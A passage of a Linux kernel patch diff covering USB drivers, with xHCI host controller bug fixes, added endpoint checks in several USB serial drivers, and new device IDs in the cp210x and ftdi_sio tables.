mem_flags, if (start_cycle == 0) field |= 0x1; - /* xHCI 1.0 6.4.1.2.1: Transfer Type field */ - if (xhci->hci_version == 0x100) { + /* xHCI 1.0/1.1 6.4.1.2.1: Transfer Type field */ + if (xhci->hci_version >= 0x100) { if (urb->transfer_buffer_length > 0) { if (setup->bRequestType & USB_DIR_IN) field |= TRB_TX_TYPE(TRB_DATA_IN); diff --git a/drivers/usb/host/xhci.c b/drivers/usb/host/xhci.c index 3faa0da2ad8b4..2e8ad9b7d33cc 100644 --- a/drivers/usb/host/xhci.c +++ b/drivers/usb/host/xhci.c @@ -147,7 +147,8 @@ int xhci_start(struct xhci_hcd *xhci) "waited %u microseconds.\n", XHCI_MAX_HALT_USEC); if (!ret) - xhci->xhc_state &= ~XHCI_STATE_HALTED; + xhci->xhc_state &= ~(XHCI_STATE_HALTED | XHCI_STATE_DYING); + return ret; } @@ -1321,6 +1322,11 @@ int xhci_urb_enqueue(struct usb_hcd *hcd, struct urb *urb, gfp_t mem_flags) if (usb_endpoint_xfer_isoc(&urb->ep->desc)) size = urb->number_of_packets; + else if (usb_endpoint_is_bulk_out(&urb->ep->desc) && + urb->transfer_buffer_length > 0 && + urb->transfer_flags & URB_ZERO_PACKET && + !(urb->transfer_buffer_length % usb_endpoint_maxp(&urb->ep->desc))) + size = 2; else size = 1; @@ -1518,7 +1524,9 @@ int xhci_urb_dequeue(struct usb_hcd *hcd, struct urb *urb, int status) if (temp == 0xffffffff || (xhci->xhc_state & XHCI_STATE_HALTED)) { xhci_dbg(xhci, "HW died, freeing TD.\n"); urb_priv = urb->hcpriv; - for (i = urb_priv->td_cnt; i < urb_priv->length; i++) { + for (i = urb_priv->td_cnt; + i < urb_priv->length && xhci->devs[urb->dev->slot_id]; + i++) { td = urb_priv->td[i]; if (!list_empty(&td->td_list)) list_del_init(&td->td_list); @@ -3378,6 +3386,9 @@ int xhci_discover_or_reset_device(struct usb_hcd *hcd, struct usb_device *udev) return -EINVAL; } + if (virt_dev->tt_info) + old_active_eps = virt_dev->tt_info->active_eps; + if (virt_dev->udev != udev) { /* If the virt_dev and the udev does not match, this virt_dev * may belong to another udev. @@ -4445,13 +4456,21 @@ static int xhci_change_max_exit_latency(struct xhci_hcd *xhci, int ret; spin_lock_irqsave(&xhci->lock, flags); - if (max_exit_latency == xhci->devs[udev->slot_id]->current_mel) { + + virt_dev = xhci->devs[udev->slot_id]; + + /* + * virt_dev might not exists yet if xHC resumed from hibernate (S4) and + * xHC was re-initialized. Exit latency will be set later after + * hub_port_finish_reset() is done and xhci->devs[] are re-allocated + */ + + if (!virt_dev || max_exit_latency == virt_dev->current_mel) { spin_unlock_irqrestore(&xhci->lock, flags); return 0; } /* Attempt to issue an Evaluate Context command to change the MEL. */ - virt_dev = xhci->devs[udev->slot_id]; command = xhci->lpm_command; xhci_slot_copy(xhci, command->in_ctx, virt_dev->out_ctx); spin_unlock_irqrestore(&xhci->lock, flags); @@ -4636,8 +4655,16 @@ int xhci_update_hub_device(struct usb_hcd *hcd, struct usb_device *hdev, ctrl_ctx->add_flags |= cpu_to_le32(SLOT_FLAG); slot_ctx = xhci_get_slot_ctx(xhci, config_cmd->in_ctx); slot_ctx->dev_info |= cpu_to_le32(DEV_HUB); + /* + * refer to section 6.2.2: MTT should be 0 for full speed hub, + * but it may be already set to 1 when setup an xHCI virtual + * device, so clear it anyway. + */ if (tt->multi) slot_ctx->dev_info |= cpu_to_le32(DEV_MTT); + else if (hdev->speed == USB_SPEED_FULL) + slot_ctx->dev_info &= cpu_to_le32(~DEV_MTT); + if (xhci->hci_version > 0x95) { xhci_dbg(xhci, "xHCI version %x needs hub " "TT think time and number of ports\n", @@ -4798,6 +4825,9 @@ static int __init xhci_hcd_init(void) { int retval; + if (usb_disabled()) + return -ENODEV; + retval = xhci_register_pci(); if (retval < 0) { printk(KERN_DEBUG "Problem registering PCI driver."); @@ -4825,6 +4855,7 @@ static int __init xhci_hcd_init(void) BUILD_BUG_ON(sizeof(struct xhci_intr_reg) != 8*32/8); /* xhci_run_regs has eight fields and embeds 128 xhci_intr_regs */ BUILD_BUG_ON(sizeof(struct xhci_run_regs) != (8+8*128)*32/8); + return 0; unreg_pci: xhci_unregister_pci(); diff --git a/drivers/usb/host/xhci.h b/drivers/usb/host/xhci.h index bd97fefe4316a..be410badf7e3f 100644 --- a/drivers/usb/host/xhci.h +++ b/drivers/usb/host/xhci.h @@ -1,3 +1,4 @@ + /* * xHCI host controller driver * @@ -88,9 +89,10 @@ struct xhci_cap_regs { #define HCS_IST(p) (((p) >> 0) & 0xf) /* bits 4:7, max number of Event Ring segments */ #define HCS_ERST_MAX(p) (((p) >> 4) & 0xf) +/* bits 21:25 Hi 5 bits of Scratchpad buffers SW must allocate for the HW */ /* bit 26 Scratchpad restore - for save/restore HW state - not used yet */ -/* bits 27:31 number of Scratchpad buffers SW must allocate for the HW */ -#define HCS_MAX_SCRATCHPAD(p) (((p) >> 27) & 0x1f) +/* bits 27:31 Lo 5 bits of Scratchpad buffers SW must allocate for the HW */ +#define HCS_MAX_SCRATCHPAD(p) ((((p) >> 16) & 0x3e0) | (((p) >> 27) & 0x1f)) /* HCSPARAMS3 - hcs_params3 - bitmasks */ /* bits 0:7, Max U1 to U0 latency for the roothub ports */ @@ -278,6 +280,7 @@ struct xhci_op_regs { #define XDEV_U0 (0x0 << 5) #define XDEV_U2 (0x2 << 5) #define XDEV_U3 (0x3 << 5) +#define XDEV_INACTIVE (0x6 << 5) #define XDEV_RESUME (0xf << 5) /* true: port has power (see HCC_PPC) */ #define PORT_POWER (1 << 9) @@ -1235,7 +1238,7 @@ union xhci_trb { * since the command ring is 64-byte aligned. * It must also be greater than 16. */ -#define TRBS_PER_SEGMENT 64 +#define TRBS_PER_SEGMENT 256 /* Allow two commands + a link TRB, along with any reserved command TRBs */ #define MAX_RSVD_CMD_TRBS (TRBS_PER_SEGMENT - 3) #define TRB_SEGMENT_SIZE (TRBS_PER_SEGMENT*16) @@ -1261,6 +1264,8 @@ struct xhci_td { /* ZLP received in data stage of a control transfer */ bool zlp_data; + /* actual_length of the URB has already been set */ + bool urb_length_set; }; /* xHCI command default timeout value */ diff --git a/drivers/usb/misc/iowarrior.c b/drivers/usb/misc/iowarrior.c index d36f34e25bed5..4c24ba0a65744 100644 --- a/drivers/usb/misc/iowarrior.c +++ b/drivers/usb/misc/iowarrior.c @@ -792,6 +792,12 @@ static int iowarrior_probe(struct usb_interface *interface, iface_desc = interface->cur_altsetting; dev->product_id = le16_to_cpu(udev->descriptor.idProduct); + if (iface_desc->desc.bNumEndpoints < 1) { + dev_err(&interface->dev, "Invalid number of endpoints\n"); + retval = -EINVAL; + goto error; + } + /* set up the endpoint information */ for (i = 0; i < iface_desc->desc.bNumEndpoints; ++i) { endpoint = &iface_desc->endpoint[i].desc; diff --git a/drivers/usb/misc/sisusbvga/sisusb.c b/drivers/usb/misc/sisusbvga/sisusb.c index de98906f786d0..0aef801edbc15 100644 --- a/drivers/usb/misc/sisusbvga/sisusb.c +++ b/drivers/usb/misc/sisusbvga/sisusb.c @@ -3248,6 +3248,7 @@ static const struct usb_device_id sisusb_table[] = { { USB_DEVICE(0x0711, 0x0918) }, { USB_DEVICE(0x0711, 0x0920) }, { USB_DEVICE(0x0711, 0x0950) }, + { USB_DEVICE(0x0711, 0x5200) }, { USB_DEVICE(0x182d, 0x021c) }, { USB_DEVICE(0x182d, 0x0269) }, { } diff --git a/drivers/usb/musb/musb_core.c b/drivers/usb/musb/musb_core.c index da0caf3f4b27e..462a7d57c0950 100644 --- a/drivers/usb/musb/musb_core.c +++ b/drivers/usb/musb/musb_core.c @@ -133,7 +133,7 @@ static inline struct musb *dev_to_musb(struct device *dev) /*-------------------------------------------------------------------------*/ #ifndef CONFIG_BLACKFIN -static int musb_ulpi_read(struct usb_phy *phy, u32 offset) +static int musb_ulpi_read(struct usb_phy *phy, u32 reg) { void __iomem *addr = phy->io_priv; int i = 0; @@ -152,7 +152,7 @@ static int musb_ulpi_read(struct usb_phy *phy, u32 offset) * ULPICarKitControlDisableUTMI after clearing POWER_SUSPENDM. */ - musb_writeb(addr, MUSB_ULPI_REG_ADDR, (u8)offset); + musb_writeb(addr, MUSB_ULPI_REG_ADDR, (u8)reg); musb_writeb(addr, MUSB_ULPI_REG_CONTROL, MUSB_ULPI_REG_REQ | MUSB_ULPI_RDN_WR); @@ -177,7 +177,7 @@ static int musb_ulpi_read(struct usb_phy *phy, u32 offset) return ret; } -static int musb_ulpi_write(struct usb_phy *phy, u32 offset, u32 data) +static int musb_ulpi_write(struct usb_phy *phy, u32 val, u32 reg) { void __iomem *addr = phy->io_priv; int i = 0; @@ -192,8 +192,8 @@ static int musb_ulpi_write(struct usb_phy *phy, u32 offset, u32 data) power &= ~MUSB_POWER_SUSPENDM; musb_writeb(addr, MUSB_POWER, power); - musb_writeb(addr, MUSB_ULPI_REG_ADDR, (u8)offset); - musb_writeb(addr, MUSB_ULPI_REG_DATA, (u8)data); + musb_writeb(addr, MUSB_ULPI_REG_ADDR, (u8)reg); + musb_writeb(addr, MUSB_ULPI_REG_DATA, (u8)val); musb_writeb(addr, MUSB_ULPI_REG_CONTROL, MUSB_ULPI_REG_REQ); while (!(musb_readb(addr, MUSB_ULPI_REG_CONTROL) diff --git a/drivers/usb/musb/musb_host.c b/drivers/usb/musb/musb_host.c index 9d3044bdebe54..c6cc5201665aa 100644 --- a/drivers/usb/musb/musb_host.c +++ b/drivers/usb/musb/musb_host.c @@ -581,14 +581,13 @@ musb_rx_reinit(struct musb *musb, struct musb_qh *qh, struct musb_hw_ep *ep) musb_writew(ep->regs, MUSB_TXCSR, 0); /* scrub all previous state, clearing toggle */ - } else { - csr = musb_readw(ep->regs, MUSB_RXCSR); - if (csr & MUSB_RXCSR_RXPKTRDY) - WARNING("rx%d, packet/%d ready?\n", ep->epnum, - musb_readw(ep->regs, MUSB_RXCOUNT)); - - musb_h_flush_rxfifo(ep, MUSB_RXCSR_CLRDATATOG); } + csr = musb_readw(ep->regs, MUSB_RXCSR); + if (csr & MUSB_RXCSR_RXPKTRDY) + WARNING("rx%d, packet/%d ready?\n", ep->epnum, + musb_readw(ep->regs, MUSB_RXCOUNT)); + + musb_h_flush_rxfifo(ep, MUSB_RXCSR_CLRDATATOG); /* target addr and (for multipoint) hub addr/port */ if (musb->is_multipoint) { @@ -948,9 +947,15 @@ static void musb_bulk_nak_timeout(struct musb *musb, struct musb_hw_ep *ep, if (is_in) { dma = is_dma_capable() ? ep->rx_channel : NULL; - /* clear nak timeout bit */ + /* + * Need to stop the transaction by clearing REQPKT first + * then the NAK Timeout bit ref MUSBMHDRC USB 2.0 HIGH-SPEED + * DUAL-ROLE CONTROLLER Programmer's Guide, section 9.2.2 + */ rx_csr = musb_readw(epio, MUSB_RXCSR); rx_csr |= MUSB_RXCSR_H_WZC_BITS; + rx_csr &= ~MUSB_RXCSR_H_REQPKT; + musb_writew(epio, MUSB_RXCSR, rx_csr); rx_csr &= ~MUSB_RXCSR_DATAERROR; musb_writew(epio, MUSB_RXCSR, rx_csr); diff --git a/drivers/usb/phy/phy.c b/drivers/usb/phy/phy.c index a9984c700d2c4..5f79d8e2caab7 100644 --- a/drivers/usb/phy/phy.c +++ b/drivers/usb/phy/phy.c @@ -78,7 +78,9 @@ static void devm_usb_phy_release(struct device *dev, void *res) static int devm_usb_phy_match(struct device *dev, void *res, void *match_data) { - return res == match_data; + struct usb_phy **phy = res; + + return *phy == match_data; } /** diff --git a/drivers/usb/renesas_usbhs/fifo.c b/drivers/usb/renesas_usbhs/fifo.c index 45b94019aec8f..157a9f9afc2d6 100644 --- a/drivers/usb/renesas_usbhs/fifo.c +++ b/drivers/usb/renesas_usbhs/fifo.c @@ -166,7 +166,8 @@ static int usbhsf_pkt_handler(struct usbhs_pipe *pipe, int type) goto __usbhs_pkt_handler_end; } - ret = func(pkt, &is_done); + if (likely(func)) + ret = func(pkt, &is_done); if (is_done) __usbhsf_pkt_del(pkt); @@ -933,6 +934,7 @@ static int usbhsf_dma_try_pop(struct usbhs_pkt *pkt, int *is_done) pkt->trans = len; + usbhsf_tx_irq_ctrl(pipe, 0); INIT_WORK(&pkt->work, xfer_work); schedule_work(&pkt->work); diff --git a/drivers/usb/renesas_usbhs/mod_gadget.c b/drivers/usb/renesas_usbhs/mod_gadget.c index ed4949faa70d1..64223a9239327 100644 --- a/drivers/usb/renesas_usbhs/mod_gadget.c +++ b/drivers/usb/renesas_usbhs/mod_gadget.c @@ -558,6 +558,9 @@ static int usbhsg_ep_enable(struct usb_ep *ep, struct usbhs_priv *priv = usbhsg_gpriv_to_priv(gpriv); struct usbhs_pipe *pipe; int ret = -EIO; + unsigned long flags; + + usbhs_lock(priv, flags); /* * if it already have pipe, @@ -566,7 +569,8 @@ static int usbhsg_ep_enable(struct usb_ep *ep, if (uep->pipe) { usbhs_pipe_clear(uep->pipe); usbhs_pipe_sequence_data0(uep->pipe); - return 0; + ret = 0; + goto usbhsg_ep_enable_end; } pipe = usbhs_pipe_malloc(priv, @@ -594,6 +598,9 @@ static int usbhsg_ep_enable(struct usb_ep *ep, ret = 0; } +usbhsg_ep_enable_end: + usbhs_unlock(priv, flags); + return ret; } diff --git a/drivers/usb/serial/bus.c b/drivers/usb/serial/bus.c index 7229b265870aa..5c56efeaf202b 100644 --- a/drivers/usb/serial/bus.c +++ b/drivers/usb/serial/bus.c @@ -76,7 +76,7 @@ static int usb_serial_device_probe(struct device *dev) retval = device_create_file(dev, &dev_attr_port_number); if (retval) { if (driver->port_remove) - retval = driver->port_remove(port); + driver->port_remove(port); goto exit_with_autopm; } diff --git a/drivers/usb/serial/cp210x.c b/drivers/usb/serial/cp210x.c index b14379659e351..0093261ccc57d 100644 --- a/drivers/usb/serial/cp210x.c +++ b/drivers/usb/serial/cp210x.c @@ -56,6 +56,7 @@ static const struct usb_device_id id_table[] = { { USB_DEVICE(0x0846, 0x1100) }, /* NetGear Managed Switch M4100 series, M5300 series, M7100 series */ { USB_DEVICE(0x08e6, 0x5501) }, /* Gemalto Prox-PU/CU contactless smartcard reader */ { USB_DEVICE(0x08FD, 0x000A) }, /* Digianswer A/S , ZigBee/802.15.4 MAC Device */ + { USB_DEVICE(0x0908, 0x01FF) }, /* Siemens RUGGEDCOM USB Serial Console */ { USB_DEVICE(0x0BED, 0x1100) }, /* MEI (TM) Cashflow-SC Bill/Voucher Acceptor */ { USB_DEVICE(0x0BED, 0x1101) }, /* MEI series 2000 Combo Acceptor */ { USB_DEVICE(0x0FCF, 0x1003) }, /* Dynastream ANT development board */ @@ -97,6 +98,7 @@ static const struct usb_device_id id_table[] = { { USB_DEVICE(0x10C4, 0x81AC) }, /* MSD Dash Hawk */ { USB_DEVICE(0x10C4, 0x81AD) }, /* INSYS USB Modem */ { USB_DEVICE(0x10C4, 0x81C8) }, /* Lipowsky Industrie Elektronik GmbH, Baby-JTAG */ + { USB_DEVICE(0x10C4, 0x81D7) }, /* IAI Corp. RCB-CV-USB USB to RS485 Adaptor */ { USB_DEVICE(0x10C4, 0x81E2) }, /* Lipowsky Industrie Elektronik GmbH, Baby-LIN */ { USB_DEVICE(0x10C4, 0x81E7) }, /* Aerocomm Radio */ { USB_DEVICE(0x10C4, 0x81E8) }, /* Zephyr Bioharness */ @@ -106,6 +108,7 @@ static const struct usb_device_id id_table[] = { { USB_DEVICE(0x10C4, 0x826B) }, /* Cygnal Integrated Products, Inc., Fasttrax GPS demonstration module */ { USB_DEVICE(0x10C4, 0x8281) }, /* Nanotec Plug & Drive */ { USB_DEVICE(0x10C4, 0x8293) }, /* Telegesis ETRX2USB */ + { USB_DEVICE(0x10C4, 0x82F4) }, /* Starizona MicroTouch */ { USB_DEVICE(0x10C4, 0x82F9) }, /* Procyon AVS */ { USB_DEVICE(0x10C4, 0x8341) }, /* Siemens MC35PU GPRS Modem */ { USB_DEVICE(0x10C4, 0x8382) }, /* Cygnal Integrated Products, Inc. */ @@ -115,17 +118,23 @@ static const struct usb_device_id id_table[] = { { USB_DEVICE(0x10C4, 0x8418) }, /* IRZ Automation Teleport SG-10 GSM/GPRS Modem */ { USB_DEVICE(0x10C4, 0x846E) }, /* BEI USB Sensor Interface (VCP) */ { USB_DEVICE(0x10C4, 0x8477) }, /* Balluff RFID */ + { USB_DEVICE(0x10C4, 0x84B6) }, /* Starizona Hyperion */ { USB_DEVICE(0x10C4, 0x85EA) }, /* AC-Services IBUS-IF */ { USB_DEVICE(0x10C4, 0x85EB) }, /* AC-Services CIS-IBUS */ { USB_DEVICE(0x10C4, 0x85F8) }, /* Virtenio Preon32 */ { USB_DEVICE(0x10C4, 0x8664) }, /* AC-Services CAN-IF */ { USB_DEVICE(0x10C4, 0x8665) }, /* AC-Services OBD-IF */ + { USB_DEVICE(0x10C4, 0x8856) }, /* CEL EM357 ZigBee USB Stick - LR */ + { USB_DEVICE(0x10C4, 0x8857) }, /* CEL EM357 ZigBee USB Stick */ { USB_DEVICE(0x10C4, 0x88A4) }, /* MMB Networks ZigBee USB Device */ { USB_DEVICE(0x10C4, 0x88A5) }, /* Planet Innovation Ingeni ZigBee USB Device */ + { USB_DEVICE(0x10C4, 0x8946) }, /* Ketra N1 Wireless Interface */ + { USB_DEVICE(0x10C4, 0x8977) }, /* CEL MeshWorks DevKit Device */ + { USB_DEVICE(0x10C4, 0x8998) }, /* KCF Technologies PRN */ + { USB_DEVICE(0x10C4, 0x8A2A) }, /* HubZ dual ZigBee and Z-Wave dongle */ { USB_DEVICE(0x10C4, 0xEA60) }, /* Silicon Labs factory default */ { USB_DEVICE(0x10C4, 0xEA61) }, /* Silicon Labs factory default */ { USB_DEVICE(0x10C4, 0xEA70) }, /* Silicon Labs factory default */ - { USB_DEVICE(0x10C4, 0xEA80) }, /* Silicon Labs factory default */ { USB_DEVICE(0x10C4, 0xEA71) }, /* Infinity GPS-MIC-1 Radio Monophone */ { USB_DEVICE(0x10C4, 0xF001) }, /* Elan Digital Systems USBscope50 */ { USB_DEVICE(0x10C4, 0xF002) }, /* Elan Digital Systems USBwave12 */ @@ -133,6 +142,8 @@ static const struct usb_device_id id_table[] = { { USB_DEVICE(0x10C4, 0xF004) }, /* Elan Digital Systems USBcount50 */ { USB_DEVICE(0x10C5, 0xEA61) }, /* Silicon Labs MobiData GPRS USB Modem */ { USB_DEVICE(0x10CE, 0xEA6A) }, /* Silicon Labs MobiData GPRS USB Modem 100EU */ + { USB_DEVICE(0x12B8, 0xEC60) }, /* Link G4 ECU */ + { USB_DEVICE(0x12B8, 0xEC62) }, /* Link G4+ ECU */ { USB_DEVICE(0x13AD, 0x9999) }, /* Baltech card reader */ { USB_DEVICE(0x1555, 0x0004) }, /* Owen AC4 USB-RS485 Converter */ { USB_DEVICE(0x166A, 0x0201) }, /* Clipsal 5500PACA C-Bus Pascal Automation Controller */ @@ -142,6 +153,8 @@ static const struct usb_device_id id_table[] = { { USB_DEVICE(0x166A, 0x0305) }, /* Clipsal C-5000CT2 C-Bus Spectrum Colour Touchscreen */ { USB_DEVICE(0x166A, 0x0401) }, /* Clipsal L51xx C-Bus Architectural Dimmer */ { USB_DEVICE(0x166A, 0x0101) }, /* Clipsal 5560884 C-Bus Multi-room Audio Matrix Switcher */ + { USB_DEVICE(0x16C0, 0x09B0) }, /* Lunatico Seletek */ + { USB_DEVICE(0x16C0, 0x09B1) }, /* Lunatico Seletek */ { USB_DEVICE(0x16D6, 0x0001) }, /* Jablotron serial interface */ { USB_DEVICE(0x16DC, 0x0010) }, /* W-IE-NE-R Plein & Baus GmbH PL512 Power Supply */ { USB_DEVICE(0x16DC, 0x0011) }, /* W-IE-NE-R Plein & Baus GmbH RCM Remote Control for MARATON Power Supply */ @@ -152,9 +165,16 @@ static const struct usb_device_id id_table[] = { { USB_DEVICE(0x17F4, 0xAAAA) }, /* Wavesense Jazz blood glucose meter */ { USB_DEVICE(0x1843, 0x0200) }, /* Vaisala USB Instrument Cable */ { USB_DEVICE(0x18EF, 0xE00F) }, /* ELV USB-I2C-Interface */ + { USB_DEVICE(0x18EF, 0xE025) }, /* ELV Marble Sound Board 1 */ + { USB_DEVICE(0x1901, 0x0190) }, /* GE B850 CP2105 Recorder interface */ + { USB_DEVICE(0x1901, 0x0193) }, /* GE B650 CP2104 PMC interface */ + { USB_DEVICE(0x1901, 0x0194) }, /* GE Healthcare Remote Alarm Box */ + { USB_DEVICE(0x19CF, 0x3000) }, /* Parrot NMEA GPS Flight Recorder */ { USB_DEVICE(0x1ADB, 0x0001) }, /* Schweitzer Engineering C662 Cable */ { USB_DEVICE(0x1B1C, 0x1C00) }, /* Corsair USB Dongle */ + { USB_DEVICE(0x1BA4, 0x0002) }, /* Silicon Labs 358x factory default */ { USB_DEVICE(0x1BE3, 0x07A6) }, /* WAGO 750-923 USB Service Cable */ + { USB_DEVICE(0x1D6F, 0x0010) }, /* Seluxit ApS RF Dongle */ { USB_DEVICE(0x1E29, 0x0102) }, /* Festo CPX-USB */ { USB_DEVICE(0x1E29, 0x0501) }, /* Festo CMSP */ { USB_DEVICE(0x1FB9, 0x0100) }, /* Lake Shore Model 121 Current Source */ @@ -176,6 +196,7 @@ static const struct usb_device_id id_table[] = { { USB_DEVICE(0x1FB9, 0x0602) }, /* Lake Shore Model 648 Magnet Power Supply */ { USB_DEVICE(0x1FB9, 0x0700) }, /* Lake Shore Model 737 VSM Controller */ { USB_DEVICE(0x1FB9, 0x0701) }, /* Lake Shore Model 776 Hall Matrix */ + { USB_DEVICE(0x2626, 0xEA60) }, /* Aruba Networks 7xxx USB Serial Console */ { USB_DEVICE(0x3195, 0xF190) }, /* Link Instruments MSO-19 */ { USB_DEVICE(0x3195, 0xF280) }, /* Link Instruments MSO-28 */ { USB_DEVICE(0x3195, 0xF281) }, /* Link Instruments MSO-28 */ diff --git a/drivers/usb/serial/cypress_m8.c b/drivers/usb/serial/cypress_m8.c index 082120198f870..09f0f631389e3 100644 --- a/drivers/usb/serial/cypress_m8.c +++ b/drivers/usb/serial/cypress_m8.c @@ -449,6 +449,11 @@ static int cypress_generic_port_probe(struct usb_serial_port *port) struct usb_serial *serial = port->serial; struct cypress_private *priv; + if (!port->interrupt_out_urb || !port->interrupt_in_urb) { + dev_err(&port->dev, "required endpoint is missing\n"); + return -ENODEV; + } + priv = kzalloc(sizeof(struct cypress_private), GFP_KERNEL); if (!priv) return -ENOMEM; @@ -606,12 +611,6 @@ static int cypress_open(struct tty_struct *tty, struct usb_serial_port *port) cypress_set_termios(tty, port, &priv->tmp_termios); /* setup the port and start reading from the device */ - if (!port->interrupt_in_urb) { - dev_err(&port->dev, "%s - interrupt_in_urb is empty!\n", - __func__); - return -1; - } - usb_fill_int_urb(port->interrupt_in_urb, serial->dev, usb_rcvintpipe(serial->dev, port->interrupt_in_endpointAddress), port->interrupt_in_urb->transfer_buffer, diff --git a/drivers/usb/serial/digi_acceleport.c b/drivers/usb/serial/digi_acceleport.c index 7b807d3895278..8c34d9cfb2260 100644 --- a/drivers/usb/serial/digi_acceleport.c +++ b/drivers/usb/serial/digi_acceleport.c @@ -1253,8 +1253,27 @@ static int digi_port_init(struct usb_serial_port *port, unsigned port_num) static int digi_startup(struct usb_serial *serial) { + struct device *dev = &serial->interface->dev; struct digi_serial *serial_priv; int ret; + int i; + + /* check whether the device has the expected number of endpoints */ + if (serial->num_port_pointers < serial->type->num_ports + 1) { + dev_err(dev, "OOB endpoints missing\n"); + return -ENODEV; + } + + for (i = 0; i < serial->type->num_ports + 1 ; i++) { + if (!serial->port[i]->read_urb) { + dev_err(dev, "bulk-in endpoint missing\n"); + return -ENODEV; + } + if (!serial->port[i]->write_urb) { + dev_err(dev, "bulk-out endpoint missing\n"); + return -ENODEV; + } + } serial_priv = kzalloc(sizeof(*serial_priv), GFP_KERNEL); if (!serial_priv) diff --git a/drivers/usb/serial/ftdi_sio.c b/drivers/usb/serial/ftdi_sio.c index 9e75e3eaea4fb..4e865664699bb 100644 --- a/drivers/usb/serial/ftdi_sio.c +++ b/drivers/usb/serial/ftdi_sio.c @@ -148,12 +148,14 @@ static struct ftdi_sio_quirk ftdi_8u2232c_quirk = { * /sys/bus/usb/ftdi_sio/new_id, then send patch/report! */ static struct usb_device_id id_table_combined [] = { + { USB_DEVICE(FTDI_VID, FTDI_BRICK_PID) }, { USB_DEVICE(FTDI_VID, FTDI_ZEITCONTROL_TAGTRACE_MIFARE_PID) }, { USB_DEVICE(FTDI_VID, FTDI_CTI_MINI_PID) }, { USB_DEVICE(FTDI_VID, FTDI_CTI_NANO_PID) }, { USB_DEVICE(FTDI_VID, FTDI_AMC232_PID) }, { USB_DEVICE(FTDI_VID, FTDI_CANUSB_PID) }, { USB_DEVICE(FTDI_VID, FTDI_CANDAPTER_PID) }, + { USB_DEVICE(FTDI_VID, FTDI_BM_ATOM_NANO_PID) }, { USB_DEVICE(FTDI_VID, FTDI_NXTCAM_PID) }, { USB_DEVICE(FTDI_VID, FTDI_EV3CON_PID) }, { USB_DEVICE(FTDI_VID, FTDI_SCS_DEVICE_0_PID) }, @@ -484,6 +486,39 @@ static struct usb_device_id id_table_combined [] = { { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01FD_PID) }, { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01FE_PID) }, { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01FF_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_4701_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9300_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9301_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9302_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9303_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9304_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9305_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9306_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9307_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9308_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9309_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_930A_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_930B_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_930C_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_930D_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_930E_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_930F_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9310_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9311_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9312_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9313_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9314_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9315_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9316_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9317_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9318_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9319_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_931A_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_931B_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_931C_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_931D_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_931E_PID) }, + { USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_931F_PID) }, { USB_DEVICE(FTDI_VID, FTDI_PERLE_ULTRAPORT_PID) }, { USB_DEVICE(FTDI_VID, FTDI_PIEGROUP_PID) }, { USB_DEVICE(FTDI_VID, FTDI_TNC_X_PID) }, @@ -585,6 +620,11 @@ static struct usb_device_id id_table_combined [] = { .driver_info = (kernel_ulong_t)&ftdi_jtag_quirk }, { USB_DEVICE(FTDI_VID, FTDI_NT_ORIONLXM_PID), .driver_info = (kernel_ulong_t)&ftdi_jtag_quirk }, + { USB_DEVICE(FTDI_VID, FTDI_SYNAPSE_SS200_PID) }, + { USB_DEVICE(FTDI_VID, FTDI_CUSTOMWARE_MINIPLEX_PID) }, + { USB_DEVICE(FTDI_VID, FTDI_CUSTOMWARE_MINIPLEX2_PID) }, + { USB_DEVICE(FTDI_VID, FTDI_CUSTOMWARE_MINIPLEX2WI_PID) }, + { USB_DEVICE(FTDI_VID, FTDI_CUSTOMWARE_MINIPLEX3_PID) }, /* * ELV devices: */ @@ -676,6 +716,11 @@ static struct usb_device_id id_table_combined [] = { { USB_DEVICE(FTDI_VID, XSENS_CONVERTER_5_PID) }, { USB_DEVICE(FTDI_VID, XSENS_CONVERTER_6_PID) }, { USB_DEVICE(FTDI_VID, XSENS_CONVERTER_7_PID) }, + { USB_DEVICE(XSENS_VID, XSENS_AWINDA_DONGLE_PID) }, + { USB_DEVICE(XSENS_VID, XSENS_AWINDA_STATION_PID) }, + { 